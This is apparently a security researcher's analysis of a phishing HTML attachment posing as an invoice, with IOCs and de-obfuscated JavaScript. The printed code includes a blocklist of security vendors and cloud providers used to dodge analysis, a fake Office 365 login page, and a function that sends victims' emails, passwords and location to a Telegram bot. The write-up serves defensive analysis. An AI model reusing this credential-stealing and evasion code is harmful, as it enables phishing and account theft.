What Happened

A user alerted us on July 25, 2023, that they had clicked on a possible phishing link. This link was disguised as an invoice and urged the recipient to make an urgent payment. Attached to the message was an HTML file. When accessed, this file opened a local HTML page designed to evade antivirus and phishing safeguards. The code inspects a list of blocked domains, and if it determines that it is on a blocked domain IP block it redirects to a genuine Microsoft support website.

Here is a link to VirusTotal.

IOCs

  • Requests to https://ipinfo.io/json
  • Requests to https://api.telegram.org
  • Requests to "https://support.microsoft.com/en-us/office/fix-onedrive-sync-problems-0899b115-05f7-45ec-95b2-e4cc8c4670b2"
  • Requests to https://softwarereviews.s3.amazonaws.com/production/favicons/offerings/3117/original/Sharepoint_icon.png
  • Lots of shellcode in the obfuscated script

Reversing the JavaScript

The following is my de-obfuscated version of the code. The original html file can be found here, and my de-obfuscated html can be found here

The top of the html contains the email address that the html was sent to and gets populated in the latter login screen if it makes it that far

<html id="html" ssvv="your@email.com" lang="en">

The first setup in the JavaScript is the blocked domain list

const blocked_orgs = [
          "gmail",
          "cisco",
          "yandex",
          "ymail",
          "yahoo",
          "icann",
          "bot",
          "Robot",
          "above",
          "google",
          "softlayer",
          "aws",
          "amazon",
          "amazonaws",
          "cyveillance",
          "phishtank",
          "dreamhost",
          "netpilot",
          "calyxinstitute",
          "tor-exit",
          "microsoft",
          "DIGITALOCEAN",
          "linode",
          "cisco",
          "sophos",
          "avast",
          "McAfee",
          "AppGuard",
          "avira",
        ];

listing out domain names that it looks for using the following

 // Get IP info
const ipinfo_request = await fetch("https://ipinfo.io/json");
const ipinfo_json = await ipinfo_request.json();
console.log(ipinfo_json.ip, ipinfo_json.country, ipinfo_json.org);

var org_lowercase = ipinfo_json.org.toLowerCase();

// Check if this is a blocked org
blocked_orgs.forEach(function (blocked_org, _0xa645x8) {
  if (org_lowercase.includes(blocked_org.toLowerCase())) {
    console.log("BLOCKED! ", blocked_org);

    // If this is a blocked domain/organization, this drops the user out to a legitimate Microsoft support page
    location.replace(
      "https://support.microsoft.com/en-us/office/fix-onedrive-sync-problems-0899b115-05f7-45ec-95b2-e4cc8c4670b2"
    );

    NON_BLOCKED_ORG = false;
  }
});

Two of the main IOCs comes from this block: the request out to https://ipinfo.io/json which gets organization info if known, and the requests to onedrive sync issues (especially if your organization does not utilize onedrive).

The next portion of the code is the html driver that mimics an Office 365 login:

if (NON_BLOCKED_ORG) {
    console.log("SAFE USER");
    document.body.insertAdjacentHTML(...long html string that grabs some legitimate Microsoft images and assets...);
    
    // Still uncertain what this is all about
    document.head.insertAdjacentHTML(
        "beforeend",
        `${'\r\n<style>\r\n/* 5gMbynJcudWRkx  xnP0Vszq6  XlTPCdbi  pVUHI8lmEyPAz  cS,ZuUv5d  icRVX5-GxANEU7h  bP6XqKlDduZNh  N-XWKStD  SafwumTqFI  Lnch24N3-jR  yM73rxABH0  5TA8Ca  JkrxhFzq  aIAOu0f  MQ6xaDWF-nKC  ht-LF0fy2kHBIUQ  Ysi8203wt4V  */\r\n</style>\r\n  <style>\r\n    /* 5gMbynJcudWRkx  xnP0Vszq6  XlTPCdbi  pVUHI8lmEyPAz  cS,ZuUv5d  icRVX5-GxANEU7h  bP6XqKlDduZNh  N-XWKStD  SafwumTqFI  Lnch24N3-jR  yM73rxABH0  5TA8Ca  JkrxhFzq  aIAOu0f  MQ6xaDWF-nKC  ht-LF0fy2kHBIUQ  Ysi8203wt4V  */\r\n  </style>\r\n      <style>\r\n        /* 5gMbynJcudWRkx  xnP0Vszq6  XlTPCdbi  pVUHI8lmEyPAz  cS,ZuUv5d  icRVX5-GxANEU7h  bP6XqKlDduZNh  N-XWKStD  SafwumTqFI  Lnch24N3-jR  yM73rxABH0  5TA8Ca  JkrxhFzq  aIAOu0f  MQ6xaDWF-nKC  ht-LF0fy2kHBIUQ  Ysi8203wt4V  */\r\n      </style>\r\n          <style>\r\n            /* 5gMbynJcudWRkx  xnP0Vszq6  XlTPCdbi  pVUHI8lmEyPAz  cS,ZuUv5d  icRVX5-GxANEU7h  bP6XqKlDduZNh  N-XWKStD  SafwumTqFI  Lnch24N3-jR  yM73rxABH0  5TA8Ca  JkrxhFzq  aIAOu0f  MQ6xaDWF-nKC  ht-LF0fy2kHBIUQ  Ysi8203wt4V  */\r\n          </style>\r\n<meta charset="UTF-8">\r\n<meta http-equiv="X-UA-Compatible" content="IE=edge">\r\n<meta name="viewport" content="width=device-width, initial-scale=1.0">\r\n<title>Sharepoint</title>\r\n<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">\r\n'}`
    );

Another potential IOC is if you are seeing requests out to an S3 bucket for Microsoft resources

The next portion sends you to a Ukraine Ministry of Foreign Affairs based on whether or not you were potentially sent a different set of values:

const _0xa645x23 = () => {
    if (_0xa645x9.charAt("7") + _0xa645x9.charAt("8") === "14") {  // 6325024 14 8 -> return true
      return true;
    }
};

const _0xa645x24 = () => {
    if (_0xa645x9.charAt("15") + _0xa645x9.charAt("16") === "Gl") {
      return true;
    }
};

const _0xa645x25 = () => {
    if (_0xa645x9.charAt("20") + _0xa645x9.charAt("21") === "5F") {
      return true;
    }
};

Which in later parts of the code will redirect you to https://mfa.gov.ua/en if they do not all return true.

After a bunch of dead code, the last major part is the telegram messages being sent out

const send_target_info_to_telegram = async (_0xa645x2f, _0xa645x36, _0xa645x37) => {
    const telegram_url = "https://api.telegram.org";
    url_token = "https://ipinfo.io/json";
    var target_user_agent = window.navigator.userAgent;
    var todays_date = new Date();
    var todays_date_day = String(todays_date.getDate()).padStart(2, "0");
    var todays_date_month = String(todays_date.getMonth() + 1).padStart(2, "0");
    var todays_date_year = todays_date.getFullYear();
    var todays_date_str = todays_date_day + "/" + todays_date_month + "/" + todays_date_year;
    const ipinfo_request = await fetch(url_token);
    const ipinfo_request_json = await ipinfo_request.json();
    let target_ip_address = ipinfo_request_json.ip;
    let target_city = ipinfo_request_json.city;
    let target_country = ipinfo_request_json.country;
    let target_org = ipinfo_request_json.org;
    let target_postal = ipinfo_request_json.postal;
    const send_telegram_payload = await fetch(
      telegram_url +
        "/bot" +
        _0xa645x9 +
        "/sendMessage?chat_id=" +
        _0xa645xa +
        `${"&text=<b>O365-HTMLLOGS</b>%0A["}${_0xa645x37}${"] "}${todays_date_str}${"%0A<b>USER-AGENT: </b>"}${target_user_agent}${"%0A<a>cME: @mrcew</a>%0A<b>E-MAIL: </b><pre>"}${_0xa645x2f}${"</pre>%0A<b>P-ASSWORD: </b><a>"}${_0xa645x36}${"</a>%0A<b>L-OCATION: </b>I-P: "}${target_ip_address}${" | C-ITY: "}${target_city}${" | C-OUNTRY: "}${target_country}${" | O-RG: "}${target_org}${" | P-OSTAL: "}${target_postal}${"&parse_mode=html"}`
    );
    console.log("obago!");
};

It appears they try to get around some filtering by using - in parameters, e.g. P-OSTAL. The threat actor also appears to be Nigerian based on console log messages littered throughout the code.

Which sends out a payload with all the target info to a telegram with the following parameters

http request "from": { "is_bot": true, "first_name": "tmakLICK22_14072023LOGS", "username": "tmakLICK22_14072023LOGS_bot" }, "chat": { "id": -960936439, "title": "pass231", "type": "group", "all_members_are_administrators": true }

The remainder of the code is just dead or email validation scripts. We are still trying to determine what the coded values are in the script block, but otherwise hopefully this gives some information to help combat this emerging threat!